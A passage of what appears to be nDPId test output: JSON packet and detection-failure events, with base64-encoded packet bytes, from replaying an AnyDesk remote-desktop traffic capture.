O9oueElt2NxcbvwYl3OCXMgnsuQRKoKNdc\/k1LZo6xqLHBdDrsXhNgWnhNWM0x1hxpURewd6m\/r0mdGbJA1CcWo8yYTq75IRi0A3p\/pa0kVCfMvS5MsWMtMNzBH8z0c2Mva7Fr1Sd1R0s8cTR5qHSxU6JASEmIIWM8zT0uPd\/qplLeeG2s5IjEAZUNLax9AvaGsjiuxrCKlUcIuf3aPFjwRSboyFxcXW9mIJGPSZtr+l1W3KdxKXYvf\/EqOQxTG\/4wuI2spvTeFqD8MYmBZj8PkBmfrLcVEE7dfbQTm5A8yRHDPFGesMpbA2tjEGi+rlTBF+S+rEihuRBQDjK3CtNZtoY+uOh0zGd3X7FHfaWwsH9HpUIXHRt9exnQbKrIcfY1mlWYTHwmeOEhXnymC6KnCsQjnd7ZH\/nQdcqpQYBCt7+VGTPxrjk\/eokGlIDzUZz6gkgqMj9CgMCmvyogLKnrHGD04NGepS6loQxQ+22b7neoe9NSi4QFLTL+DXi1QecybFFnGqGZCyMuHx3Y4gOyrclKBeg0X7I4ZvNuW8OvQJuVpA6Jpa68vBixgiL3fqE3f0KS3UKWfsXQn8fAruA0+tN9ZnOSOAz6OgPtQLmJDDXGqamq3qBVUglKFmHMa58ywxyh7+vRRmW6iVlvG5OcSTl6hIdLHn8F+qHM14MVSJxbvQC\/RvlSCP4xok4HKUqYKfKflc2F1jGAdHA2WrZlh10Z3SRrQD5LCEW4S5ElczFYqhYZTrgY24QgeLKTa3sFUDDX8hGFQmWX55XEHMYewyCdC1Qjgu+T5xXzgxrZVTyVz4MchO6UuY6RH9APtz72\/4TVOHW2qAs8zneiE7t6uvuQ8DLkB9VsXRh\/sYWHcmJzCe76+fWWe7gEU87B5BltIRp5XjH54LC4CYrab\/bF1gSpDO\/Cle1J83jZSrHrkJ4axukGx5g6WwwrjOvNXinPshg0yYyQdVKLuSv\/UfH1DuLf5fix+Hq2iBaucLLyvP13cpcQqXYoKZ8Yo6a7Jysl2wE\/jZX6glOIl9qN2M6OQBYEt+tQinNnlw3YqWcU72tMNY9ig2dVEKufSpSCYTTLX2GW4LECyab9bJQsStndS+cAMpAdjBnza8Jea5SgC26dX7vL9LU9O\/3kB59uHGZtFPuC50v74sQDLgnN0wAYhPfQPOx1obJCTxc09HemDyHVWfxT3u+Rc2Pa5W29TnH8x7EuJYnC2C9Q5G\/lTJH9FUzkNA3AYsN6i0xiUmscSQuT5MspuOJpNivjTiUpdL\/i8c6zHtE4fQx6DhfxzVhqgsYbHo53MqsAvr5U7ahQ7fAyxnU3utIygT0CX173GFOKoU9peuis240qeIpXId8YT24kkxdNVCU7b1\/EVMrD\/jH6Owt6ct+xjNLM3XUjkX\/a0vu5wNByyuxD8d\/TpLpnztraHEMJzA4u9NaRMprxou7mFYhaBd8\/87F\/kniwUUzoYnwdWBv+iLWwoM9a1il0n5IJmO292EgWlF6X35KxScd1Q2XEDmTtL3LO0hTuKiGr1jk4fzUsvBlmmoO1zA9Igb868uvQibLd+k\/Tchb4of7u6xJDseKfwlMEzBGbCRmvW0Sc9nDiTZczWtCmZYIQ1sRtBbzN\/I1g8kMVHdoFoCkFdgS\/JE8VQNdiVkTW6O422oyLiywxkLvvVEnnDaWBar6mK9ipCIKCCrROlWX7V3ZuXi\/q7BXgmuTR0xTwsZDS88ZQ+w\/M884\/dW1IpB0ibJA0F3R0A42TwMt0PVJDZ0WK21wJaeKomWw+TSXUvbobcp1b5YsHTT9Js5Xr6g7mLW8CVTUcXNYFwbVYgvGnJhNZlViCflzjrQvW6Ee+mwtudijh+CdfSjezVzLB4wJeL5g3PyEJnr2Rvp2EnOetrdlP\/J9dxtt\/fD+yOuxxaCoqLb0ml86pgLM\/mRLHC+6hBZcGEM723HRG1+inEYPc2VE2ktfs6xNLATXBgepuIC6wYAFbamQ2v1ZHHaopofAD\/2Om8GyBR3ObY8Bi2N8BpISX7FzAcwX+U0QcVJKtMCfdSIHW53bSfWQOnptVf15d4odY0PVoTnpxLl8TcsuWV1QcggsalN4gm8GEmGn\/maCCHKb6jEvEjpIs5ZUoF6KReRykHJZExuU\/LMygc9z4d\/k2rO8GaAPgVsOaHF0sAILJ7i9zYY3jEMd5tQtZgH\/FWBD1L3AzhzCzrCyuTpjxgP7SEYroEfT\/FLD7snwhUBLpCAclKtOMFIjVg0jYq3e8Yd616ZE4oS5wkTrAXfieEWNJvYMWB621\/XOIY+pRyDtQ1NwEW2uhRYJ6lOn2piZzX72Yv+HHcaFn53tVJtgxrvv+k7bsAdKh3wTanRJiKTn45zYnmDDfeO5hmuXsetPi4t9B\/bYV\/2sUXUSZ2X3+2WI6O6YYIDlp0JS2swWCKLUGDMTJnwb3hX1iISB+VD6UUZXqT+Q8qZV+Sc34ZsN5WLL9XG0Mw3gBcFcdxgAafh62kFuiVg6WXv33vdw4QgcAd3sE7a5leXNOtjnFkxyC2IEpTD9aIkKUpelz0sCcDKTvaSasimXOMXloEx4quBx7aj0yF+xiDgjg9cG1WVI74D583\/byIPs2v\/QfKhZdvnX5LeC8cWx+1B\/YLvjyzBvMWBh\/HpU\/b7aOZxCHSDUL50KgJo7gyIEWIHa7oRjaK\/CMnD7RZ42mgeibYiiBhCJzFr7h7HNsZo+vEk4gcByCjctqOu0YCzgnwT\/eOt4Inthw9E3SdHxQJ0S+iUHMx8vPt0qR5KgiupOHbZyRoIMUxqzeG9HQYVh23oNvKNqg2xlj\/gZVQSyYtu4PnAzQNsybveGr6h8w7+GspBLVGY\/llj5SdXIyTGnjuEKiYzvh+ihEMf4\/sS\/zwYnVMyzfsY8tZfumbnCo05r8Vtn36UmDwJ6RWrs8UCt\/rLZxlCKqRRiQBO15MrbAv50sjPpsym7PsVOpHP0hm3zcwKcRE5Z\/FgNKCrtSjU5iBCJBn\/LosoC6c7mHY+Siekl\/buYwYKWu363DFrFcJF4boqiYt78DrJ4jWH0z\/toI+10e1V9ctfwox4Y9Ojl0eCp6\/Wj2fvFVaG2uvV6nrlt91BOA+AS2b4IRuq4a+6+veQIqvbKw2kHkyG+QppJNpQECMqoX7LCwFwDb+rCGWb2arEIYEE+0+Ao26sBfc9Mr8W9grfvV\/jojy1zaWbzkz6uwI0bsY7jfWnzlGXih14EjFCYp7FTtHnHQI7lGq2hDtJgsGFHn5SlAKujplGwW6LC6a6ysENhQ4UPeStw+NyNr6lPg3KZAaLD87W2YJuAkWBjlrCp+OLeXOHbaunroFmzm+yhuVRqgdb8gCRDSBw+m\/5p2ISdPY5\/Bkrsq7SoqkWKm18sMzfb+3avMS8KUyf4mIaSIksWhMKz+Zt3ad3UjJ6KjWZOOVGn3w0pH9aGG0sYxCY+5I4Me76BX1LPXulLR+nLFa9NqViHbUr6DPXoujGj+Eo8MJ7yOHg1u7+Am3BwTByraXyd0FoYUjWsqq+xFxc1geiO+cEuClWzrXvlIIkBmZ2gGOQ9mNslJit5d6tDiefjhtkSBT4s9KCVN0lSoc\/V9tY6UBE\/sIg6gQNC9jfRUvvmqhPgyIVgLw7zTfzkeZ3E0mA06mr4jPaLTS0TbcXldVvtByZDHi7FP9\/RITF\/0rOAqPkwnF8HBhfNgK0iw6Y7UX0KxBSL06GhHwKyfERaeWsef2TfaniOUrhsglhI1H+HE2iVgpU2yQMxF2rvNWYFbnmPpGgOl2GIbPlNFeXFqQEbnKOViGPAbnYt8rzCMLtNJS8wOeF1G5IrnwAD1Okc04pQ4DrQ\/Shw52ii+GNdOJ0H\/cLGgbSQhW2dJq\/VOr\/rkc5WncBhl0oBmq8sTknjuieRYs8OJDxa9LrFXpmHLQbL\/R9U4Ac0dS4\/AhL5\/NjE34oX9KGjsP4XuEeLRUFI8BO+WzscGEtnNdlrWTYoADoRKVLyo8ql5otOscogeQgaKNwbkpNs7WeQXQ6GLEhBceSzc+cJnT0ffPyBwhKR67fCa0PVCUf4ppdXXv1JhYVf1oN6JBzL3Y7jLIecfXP6T0RsCTuCv4sOwQYyRa40zUhTz50uYxPvbRqoPLUrMc2BJdRiKwlbnayA4AtNMjlxEpncg3\/e7BZ\/5k6ekQ3NU+KBwSBH6FVI4a\/9hHbcX9vFy0jskLLoPH1dWqzU76f+jA+44aafcyEinzrzmc+NPCZ0QVVYbVXesCZrbPiwqr5dHaguDs9ApthZpnrQVR6mRfQdl1TApV80AZmoYVmyB3W6qFZIkDRvB6PwP9hkFhfOlykdLM7sSkqGIJiyWH+5CbcSZScogKG0wDzWnOeeqCxr3u8evPjQEx1d29v\/ZfwbIn0ERMsAEktgNnaLtSo3COq\/EY5k\/xKDUnXzJx+5v40MCz0nijV6R8Evr1JjDyqhvBrG8UXAhyvqRXJwCv3gKMVA+R662DbIHm8XA7jOEekQQPhzVyM40s+LJzSkLYmfGpqEhu\/GaKBVCsiOV4Ay2xNH9utOIecOyk2JnvJAU68SMHBt9CxHwg9OqpvFM4PPNOY1Sl61HC\/7CNcgGDSfsswYJDOy+dbG2ys99K4iuQxXtZuPR0Yg4nCaG\/CLW63W13eL12urT\/TVDfq\/ubHYNhdGJg6yWkwNVgI\/hdRNMX6YXHDaH0Y5dM\/ugQHvmbpVBBIhhDVmG+BctFeRhyYjEVHCtQvsMV1N9\/qzowen1TchlUkwsMuegGQ3OpmtmyCSC1grRY7c7NQx7iZgUV\/aFzsK\/MVHIucX+L057jLVuH45wlQFkWPo+EaACMVjsjias4qM9VoYfWU9asU6L4V75vfSdF4d56iKToIqY8D3WOu2FVVQ0+zrpQRsU0qJ4U6yh6QTnmkmaFOIVFTszchw4k0zTmG9c="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":176,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4825} +07833{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":187,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":739624,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdvBAAIAGAADAqAG7wKgBstOUG56PGvgjWcP+aVAYA\/6ExAAAFwMDFXpZ4hNO+msUyERct0invVckOqBCnz8332QDRxKSOoMPC2ozuXGQkTPOMcOpj+yr7ovzOmC478RDykKPmVBXbNp5ukGqeXmq8ly9bWySxGXdcmQnIf0IrfFIm7gTqGd9iJ1RloGimHZdgv33T7zUpn+ZtXvLuKjOSMUfz+\/PSe9COfNTQYdeUwYsDWYBL8tay6w4gHgxbf\/Pp7pBonV623MC3bixjos5VT8ahzAhMGv91PhGOPSvJrWOFlsASifnLiy49TcaB56eyhDxEdAd01BEuIOpL8nuAVwj9ZAb9ilxY25aKfU6EohCunqy5CaQXxkY2nYOiDaHI413N4oGtSGKV72kVZYql2gExJYJtKqVCdT7GjJGkTLfsYNYIG\/y8Ynqw6ZZxKKRdNmUhqbZ4ivDl5AhxMKbikdlXwcneD9ySNcbMjRASnP8zTgPSk5Qr04D+usajFTDxQFZEk9nn0+p3U3CPgQHgGsTOK7Ay+1Ig\/2Nxr\/K1o26pOWgJC0acZWbjJT\/obC6jk4BNlA0u6f8GZhqi3TeK6J\/atEVQBtu+CxYkX4Z8DF6WBTD6ANJpxj3Ij9x3bznQntb7SiDXimF0t+Ywe\/j5cTaSPl4YeCwdKJnsuoxj5mnD6xWdQIYCEOqMgiutC1cF195SV4I9sqFwSU5mvrJgAKQbfGzoYGPtaPoJTITmXYr9D2rE9XavtOC7JK6NR7tcZ5GtRiUrxwg9WAWSv9Qt8yzJhSxQZ55oVT1TJCb0c+OBvDzGBb255AVhk1WXCF7AwLvFWwVUbLZOe6vjMDLnneh62VtHAlw7gXmVBuaWfHAK1OHbzbpGUfJ1Yl3cPuRT+rWdICzC5Pr6qfQqlCDYkCrmOkPUbTVNhgoZ2YAB660g7l6fHQSjHoNcBB3B7eY+lAisk1qlpx9uRErSH\/FcDpLgRrEHIsxmtiMQEMwk6AllK8ePt6gQTnnnfKz4vCqWwaDmCBrf26j1SuGGrNdnmYYJIo1p6NLXtySuHe9wrMmDc+KlY7wRD5gtm6sv8\/cZ65bzuCaStTcb6c5mBe7IgdtQGEjUiPthp\/Iq4XRZuTMD89E4K55IQ229txjVVk7a9naab\/\/yj\/IIdZRPOiBaS8Fz9ZXmCx5oPdXQo\/rFjGwnc+IouTsTdjrM0pcs1m+JmeSuXOLs7E41HX8P7Fh9OHcQHr3rQJe5fPR8203HDqAFlFhocc0jk7Dei6f4efOQbmeM7kJ\/SuwMOt+\/cwQ86qoThRwjPdhil5x05Aw23kmH46OKqXyvzXCa2Hzf+q93HJpbj3yDiuNChDCqqR0PVRTZO\/MY3AXLdCpyKuxd5Vla+qQ3BthdqGsW68EbHNAUwSQr\/RGRYtTku5DCQERuEdtwewlou6z16QzZz8cI1NlWu5tX+E9mlsmG3nxa9nQg2VzRYLP4rCFo\/\/c1pDtx63jR+wJ+rshx61i5oLK0haX5WUTb0Ifei\/MPOtm9Qqt5ipIyZVax\/iF1JmRt\/54MfUuebe5evyqHRrGsFLq7E0YNQnfvdnfWAtJIGVpfNjuMnc2Epyuf7ruGS8siFFTh5\/ks9rxje9uEB7l+Qh06tpdXruqfJZWkDMYijYFv0O0d8Zjk9+vDl0y+oUpTTCGgTp9mwWxuJn+FS6kWS4FOoEsAaA0VUx6lOJIoRzZW6L3mYjp4DhVbphaAABvffQgWtfOOADAqe233rBzxrEnwxJ9X9iQXKNBlq88N4VZsj\/u27qrvtXtwQY90ZuNYcOksx8Be1DGcITYl1iyF3urGOd5ZhR19yZ2OsInapw7cZXqFUgQBjwruUOTX2WLCL\/GHm1gSn0lWoFpM5MPz5geDOQg\/4+C2XN8RtzocNY\/hXoei0knQ87INS4Ye1KZVBK+RjD57EvA0i0QEs\/yDO3J\/4CVBOWp\/GxO04+FYEEQiVbC0SIOcs2ikCJLnmYt\/p2gh5k+fOYdl53ch0Li7jqp+5IDSn2mh588pxkyuG0\/qkWhU1ShQl06B+Kc7Ly4waXwn\/YaLlmFsb8qse9D5I9Tnn4uSVYM42Fvj3hYiHU9VrROef91jY5f2\/KdQ8juqB1kQgjHLknGY5kvEAcqX6OTe4oCr3sg38EYJKy1338CpvDmBgu7seAzoM0ypDZCYDCOYppIN5W0PLyVZgi7sCqITz9kwT3C\/1vdFOOMpwhwl1i6aL7bZU+kcD2qloFl99G1cp78pOUQcJKv2pR9WOZV\/qg6RP0YUAqfRyRRgn4RipKFO7Hzj9qTfoPnnakknYJLL1PxcNahykE0chFHz0+j6J6G3ftzQ6FCY89YRH0nQrF9JY68kdyWrKAOpY6UvuJHMOIULi\/fNw1TcJGWSGDFRrfWcc3SeoB+RWwK6bHIFj8VVpMN787u2+pB1csQzOtBL59grReKZ2r8bp5K8p2SlT9DV5GI4Ys4VT1OD9QPpC6vtBCQkOiiWW8K+weDkFqar+u3YuTcbljfEocJt7NxBRIYdNyzvtC1talECeCmIxKv1djG3xfNdyPzV8wO\/3baq3L3lgBISN27PmY9PieuZQmebkFOGf5V1EkwU42LZXcfh2\/AZQVOzUUL8Al34IVUueG2kEe39tp+Na8aWn68rGoGSI5F81jYlGQCneDvmcHz2HFGkHRZ6RkmSGlChhKc2x3pzDb2\/hhcE7y2EYIgnqQh5ozyPm+YIEYKfUQEXfJso9behyDs6727kSH+wJhiX2YtqLIGGwgpNg52+7vgIYfYti\/q2TavogCnVyJ7crGPzEO8D22SFO6gJQABKE7AIsFiA7EacGM1O1sZzZebWKtuNpgGeshJbLdTlkW1Kzrfv6BNugTU6RHEWf3WYgasJ6O+jdAN5nSnJaRwpJdm4upPwVssGPpFdpHgH2V55sdh1ZgqPNhEpuOYDHrAulM+6g761yFJBcB47UJpk7+4STqovqO8piTCH1iag0L+S8h\/+kXEdoXxxYkOALahKK7hmFyJFeT1590Xlb9bQ3xJh+AAUz13b4Dj02cimwZ52pRnQCDXbmww15Ibaxl6EraULNjLktuRwhuaSsChLhyuXsZSCBmh5MJR5iDmQZ7VghnFUNFgDzi6ccq7EWSuVwte1zXkbsZAHb5H6srtVIRVkSMYLFU9KazDVL\/RAUqjBfnjRgmdMY6di5yYMfJdEvVKP5vlqvmcVlxbQio5HQqvy\/h3xcCfksJj5RG4fSbx41jw\/RcX6wPGCvx6uuNB\/TkiMrWEZ9QVjXGdNeKC7q7\/XLrNdMtpALZoR\/9Rlvrgd37J6byMXTZbe+YlO3a85R6BMzyJiJehHrMd4XHm0bRF\/h52b32Bzm+k9AdqiRbzuEIxtOzVoIzxlN375uOfr0LEHHyhzVvYu\/VghKST61XCPehHLtFOQxXe9Nte2VESaACnyGJatzduryIdhbVOLRx+SgVaKsgq3kDYC0Gec6MvRiXuNja2LSEGEyG2slHaBTMwmxr3LAeGDBWNPF5T7k2a0cTyxqd749WG5I4drTqeg9aJIZwOWlEfB1zndiDJWVZvuRYnE92mIMK2u5JoF6x6qHF\/+mhxM\/Q55J4tBoHxrviB\/876ixtpn9HKjFw9aEz8GlHmyozHW\/YV5xPSYJHDYgGnefCoFbTmtpxxHZRegk9z5OnzbwScK3pLI2xIigfF4IR9EBcMmxK2CgGzCOmmxVRUxwsET7wE1V4oDOGVKoI42Wcf26ecOwjy66MVBZrJz+E8pMrineY0hmnPaxHhy9vYvl\/r1PceAaK\/\/Fby42opx0UNAH2Y7V0T7IGl0b15Io8BnrE3mGW3ILdClhLtMvJrthJEl8vG5bHH4sGgKM6ISvjqjaQW4DDBtC8mpNkutlahBIS5h2nJPkVCB+f78LPMKyYo6K6v2lly02fZKkAgxep1NyyWmPsAQ7oarqH9p9N\/3o92Y1aOMG\/eYpayk9i0ITfIoLExF15WU7z1EGQxlmSA1\/2EMrvQHmbnYcP6PQgQBPknVxesU3Y0N5O3YNw1um16JcT8KjyCHeX3crgcopCTGW0j2Wz92GFch7PnAGvL\/npClCDn8GJCOwMDRmhUAsxJ36x\/INV+gVkjpMVfMFN4Ob\/3y\/TOBIKVJMPm2+k7zJQyKG7leKG5JtRRWGyeq2Vyie4oXsmrxJcJAJRXZ2h8dZu8GYg\/g2Vd0gfCUmHv5j1N6w2Fn58uS7XQDPibSYgEC0H+JjuRlYvuydCDZLV4gk883SQTOlb02GT268tbHrG8O7LnAtZd1bqkWJVg3QXRWDFpbJjTkkewdssz+Q9\/PHrV36EpnWr6s0T0AAIqaxnRO4SpVGqh5KbJ9hUO+fVkOBFDhK2d\/JmDYmgk6pBgx77y0PRLtzQZMqXg921V39INVwdlbJ4K3uPuYq+Yc+ZxpTHCIgxgSdVb5aJdjknqziwZ8JfQ9Mq9AO5UYgVdHNapfSUyj+vvGECr11FEhZ4tNJ3XMSb6z5YgNfkSN0YRzU8JliPpy2\/dYcPsqBU6DP+QX26O9W\/LhZcgGUSVhH08ZReaa49AKxkcD7+sidyVLUN6FqxS0BY0lrYZh9ONxNyiR5m+IOK3ZMhcAsJF7X4rFRIu3fdpjVsIEkxX8yV\/x9z5VVku5MFRxULanPMNTWBJPdSAmkRSIXwnrwO4JNckqrmHxcWI5qvZFavUqzM2WBkuWnuxPPgkjLuVtWpLgzzAeumS0A0PW5ExrWm1k9y0bnqqZtmxQO9R9y87WrnZRI1mnSHv4hsPPC21Boy9vYXl7runkBEkCAfTmMWCOuaToglGeSB9Ei9PBLujfl4ioy+jHgdZnWQ7YxH2btbbOUJScatBOitTSozIXOZri+8IjJDsw\/v9SRAmvEob+u9Vf63dcxFub6Q9JuwVgkb77em\/dm19sxZ4JCCPyP7g8o8jOEXwEptM+m3\/OBq+gNO3csMlHEiarRI3H55mu73FhmZOgVx4l6Odf0DRznqbG4\/ZdVibbL5eUpadjGEIUtx0jC2bcD\/VgCUPA5pbB4R29sv\/WiPbJD2Yp9VzUU0uzIzeV5vuyn2bsq4m\/Ry5EjUeb7fzAS2hGgpR9+R+OvtxuyR\/9LcLj0PZN663YOa4fQDWGEnns10bSS5M5H5nc6Dp6B7FmqPuPxWPJTfxkesPJELXBVsIFnTQU9YcMAdUOSRI3J7WSo7PdHn5RmSPbiCF6YZgGktp8OV\/YeuRLMWIIUaDQCgNZYzgSwTmoogGPQsRXj9HxpPg8QIyUfLJ5olHq0RIaL9mcbTR23aJf6xZuMICF6BWPAXqfJ6Bh+ajH8GUCY31A9Kwb9BHaPM4VZkSYXUjdBtYx5RFg9+4aieaOq1UY29kXY2GW+Yewe\/N2pN2W7FuCpLyda9jVQPhfp2BVrOPTYhnm4w7TnmLvU8z+ldmBj3jM08O1sSg8Hr\/zpFKlSGUb4xopdaSJ4ab8\/ap3yXPZY7iv\/PNR3vDEoECHhkp4KdtsbrdEHAptZjNDx+c+3p9clOzKVBG2t7V449RJZ6xwdnbRizyvR7pEeO8QI0BWLqHDkNhKZ06ld08LEx6WCLwYaaRGjv9\/1EBuyI3ZGV+9pjEsqyLqDM4oM10uyVfkwtOluRiOigW4P\/aC14Rq3mNUT8FHKM084dE6TGx2j9g+NaCOabb7PnIejjlUegFGL8Xj561wdWrFIunLw6AjKoPTteV\/MnQvVcvBWoIIn4fm9gnUag3ZtG96twxUWgaMC7cx5pL7KVlElFgQdpteEbi48PN5SlwiDSA\/\/eed2gkZzSCXTfUrumKumoauThJaPLe9OYo+HowTArV1dlTY4m+uh\/q2QD1RL5X1fujtDXXjJcLZv8RhEAB03GX5AIpuckM7CqS\/vMBkOZ3ueTDQRe6H8TGQzETvgPZNOcWf363uVlO5ggKdpDjtE9ZyryS554N0+VoYjK4kGqbpdT66ptrCLBr55bWNV7Rf9DMdOBPRjiv0quZL2NyyAbovwtLBLL0Khi2gSwWmzV3Iv03kV6Jts3zOW0PucgeFDgqb7JM6YsD\/nh3eqVFFqnsNnPP2MmA2lHsATTSlq0Ol0VIylUmrrUkMT8DeV4EV6H6zwWALZeCG2i3vGgBxoCKuvVQtOXUy2tXDHyuD3T8i6MGIDjWGq4cPz9MLltGpMGtcNldioXYDwFth7qzyhvSi6YAUHr08sEUvnS0VeZaEuBCV1Fi\/QWuD1sydWH+TwDHezzqZRoZSO901v3Fkc3BVhEuhUEIUHSxNdhimFg3Gyyc+QRgE4eVAu9UNkjq7eI+WleckcQxxK8FPc5CFgboaiAAK6a3Bf+UjHoIJU6XNf55a+kydo\/RXE2WVhTt5TorQcEXyjFBe\/+UpTfatHeZ2E2OoaTVpVCptOemBLtlgxL+GZdFlQXSB4eu7yXh6fFeQAZcT88NgWGLByXxG\/pyugoeegMWLyaq3auP5aUHRP4Qad0\/BMhaYFiYqBSVJKCER6RiAtAfVyfRpbxxbkfexsT0Bqh0vHfet8hQHqps\/m+MB2zrSlU06OID7YvuTcFgl\/OYI5FEMb+s\/TbcQPDolGBEikuCtwN3pswwN7T3kkrrEN3exXgu7IBUy2fPHRkECJol1qWMP9sxOel45+XEJdZGGS13p7vyiyqSlpwLFAKqLFcc12XsdWTuzpyPu0bkjk24mWzkI+Lnu+TlC0cEZeHSrhv4cjdfCxhHaCK53kjwJNlNIYleK\/SFZsmMUucEZkMPIfyHbhCiqP8uXcm86GR2\/0peHR9PuboSequh1oykwTGYA9SZXXBqTd8m7hF2aubSH9R2MRwVWjMS5q9Z99BEkk+DvxsEMva67JhYDWMp6He\/wuT\/uv9gUGzyhNfxkEly+i26PgUb\/Ri95BQ4V7gtt+nmsMZ\/2hqRarcH1RaIdE97x8pWwGubEDyer1D2o3W3s4rDbJ+r4o9vAmAjeQ92byGXjZaDnDMDEWUTWwhf6T1GwjzCjr62clSLymbJtfYLZ+w6cdZyU\/uOq3QdS8q8\/cebyHXupPIpQB+PQp7uuwUDF2JP1GglxWB\/Tt7ZBzYt24V5\/wuMGDZ6FD22TWHMoPfwWb5NuPEL0HFr\/Wyjga\/SzXI+G3gGL1WKA3MbNlyISI8M2rt9IK9HTKmSf4lZlN\/KhAH+1NmUEkhown597YtxkIEBZSsAqkcwqo62vnX32KE0T4fcmyZFsz+MtrQImGB0PLAZrrlkVaZ+6do8XpPk3hKMEBvN5oP926UCX2NT\/v7MOeq8\/40ul+QUtJUPX59WqbaS55PPHoFcx8GWfacN6m7kQqB0olGCk8v7UU7lLlzYw1BCI7vKc77kEmjyTxpoj5rl8YWT5GGmoQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":187,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +07821{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":188,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":739653,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdvRAAIAGAADAqAG7wKgBstOUG56PGw2iWcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msUyRO2L3uZ\/kHrFDdZcA6hIs5nK\/VjlJxNgCznIHqcpLjQci0zyZEPV3\/6HWjdZa5XulWJ11+e8C+\/hed7qrAEje9jkuas1h7HKbFTKkPb0gXId1fl2kZepvrF1D7wgLWnI3MMyVvy2aMU2duzZ3H4gKP39P0Pv4yxggYZ9xYtaBbdbVN+excYGMXgq0DsRrkPd+AG0bsW4O+ZGq1JcEC6WSAKCWED6OZAdmoWgCoyIUpkFaCmi40Ixg0dp9sX62ZimbkVGMSpIpcsP6HP9Ntxp6p7k70X3Vw8SEKHZYyHH2yBH1zhRMEUspFktqVptAhfYRms5vNj6fSo1IcqgZxT82gm5WUEU78rBl44SQDJtJnMEBWt6Ta\/DA7gHJO7gJTJifuCMnJBHoNyg3MC8R+zXvyIHIc7ftB7OJyptG7QDZP8D0CcD+BVaT5T8C4sXa8dTSM0f8hbMCfYEHlbilWGQl09qlgdc2uvcxHToVDEyLAgfbiLUeKrvj2Am\/CRaG0UfcUw1l7V+hI6Xrf+ysFCZhjaRDjIK4SoNFDV0t7cWn9zHkPmTr0khCcRePWPJ5p6grBzzalBg+uAVusjn8HCv7vEuzAggDBmXDOFsGb7EXjHF9mYZQrb+xxh3x8Q+voDCCNDKJvDaTbFWpE+iQdBIWubDFJsFd5gMrvuowM6U3pxrYlm\/rD1oC2e2L9AeAo0ub4Y9EosQfBhfHgKEEqXVVzatfwqHYEjov6F2tT2QngI0i90Wm7bG5gGiZCDAY9hAHQXEOB0awe38CBAj5dnruTbyw4Osxm3LDGuTeCfQ13SBVCaDZe4IdQbrekgbnkHLUpHbE5g\/I16mv6Ej8EPWFAUuNw4NxnVQEZdxxPPHOp1Gf5zJdcftBtxPdJuHvBS9wix1251l8G4PPIPCMUjTth\/l7ui6ttLF4nj1+Noo2+PJUahMKh2yrkCesNjFO9xGcv5fyIiYTuuu209oqLR268zS\/Uhjxmz1Coac2idweQtUpie2dVwYRBp7vW9QUDvcMh23rkN9g9BasNo+jbI5ynq42DI\/AEVx0hU2J03rlNMa4uN5Zjr2caVflOFEIzWFgkpLc6wXE+OepxR7xUOE8Sj447QYq1Lu3FxicTUR4JRPKPjj1kEw2PVqIcV18wWkyiiBUj1xZc\/CI0yRsCFwGCPVk8jq0425zy2nU9d74X02vhP8NtTG3vWH1u2aT1suuCP37ts9cDE5CrhEdeOFkANaDziDr5ITNWHhLO5V6VlsY4AgUbBojVUWpNAnV3lJie37dOyyAV147YU8gEmx+2Os0Os8830bgpSgWKd7Dlb7Yp2MfKLU+avyNWMXLdALRcyVbbCHyIb3PYUQW5D8BLTAht0UjXxzpPfcTGZDtgRSbQgk+4wdHvZ8PiHeQjAmjY8ttjc3fDQm9oha3gMzckrO1hEa\/L5S9IWUkvVR2hXk58UiZUvSUUpM36I19FZ8EA\/CeUtmYtfPlg9hr9ozYmyCOCQMNoh5roixXV4SSS1iFyQoZbHsDk84uxXpgxI1u4E5jBZ3ZqlJfgCGB++3Sh\/qPIYjsTdxwwqJqeMqL85RxWr0MHVLrL2Pnuyu3tes\/8XAf9i+60bBfX1nUjM2GdmCbTQz5uzdZE4arMMdMq+09+t6\/gseK3b96hsdyPK\/C2DFSFFiZW+MT8S7AFjIa87\/yAOadxuJ4+wvMUhSdUDSWnD84evDkA5vCNB27DRb6MH9ZyR35QJEnr6lfbEHrEmSmcv4mbZCyXYauVzLZRCAsq1xQNf6eiiCj6gqIpPEttOtWeKPygmb\/wQUTkwiFUO09HRJ\/u75K0G9bjDEmHBfBaVE1MtxLDVTvbBhJm87lS6Y95vVvmb7b4ItXvO87dun6dSkuMEikg+3KqjAmcY3BtnxNu4it1HBu+adlZd7ZHBDkfA5SOoD33X5wCiab1Mgj3xYDwJVWoUIOCfazC9Uwpfx0L5uQLxT9yNNo8mAstcU6MpRqWEV9ewP6JHK+UxfPLQOjhbDZUSbn08tss9jbkL9cxzDdZASlo\/i13kK1PZq+jHmy1k9O+RdYuyH1O4lORbxkdu0xIGOKHLJod\/kVwcEjZMDdH24qorm3w69cvJe2IMv+YRWZal8MWmRfMH40YuSVH2nUhyb8U1KJfV64UDV6ma\/gRkVNbemhdYoZZO6x6YBnk1Tdhgq2dZMTz5zKqD6TqWWLSM5Y8N9TWJQWCxTvlXANGKhiTMyqyGaTS2clcrWj2CYvXVsYhtoXvI1P2nv0HUuL3xa7uvrcW422C9S4uoiuOhesEHFiX5gFNtOLu+qyCw2MEKJwXQtZ80ESB6lDwiE3F1QW4DawPK21wpNigGsgHqY+gvhadUKZoLy4h9FpAzIbOGEImg2SQsQHzZfsMl97HdyT2FwvuTif1orUYplDFgpCSRfGZssYLbJzNmd1Pu\/v9xFhIdeMrdlBun7DSk2i3agMPrARa1LLv9hXUmZfoVWTQdMrfJx6zcAzIKmjgWvXfoG2cpA8IlaEdrn+Mj7I5OjG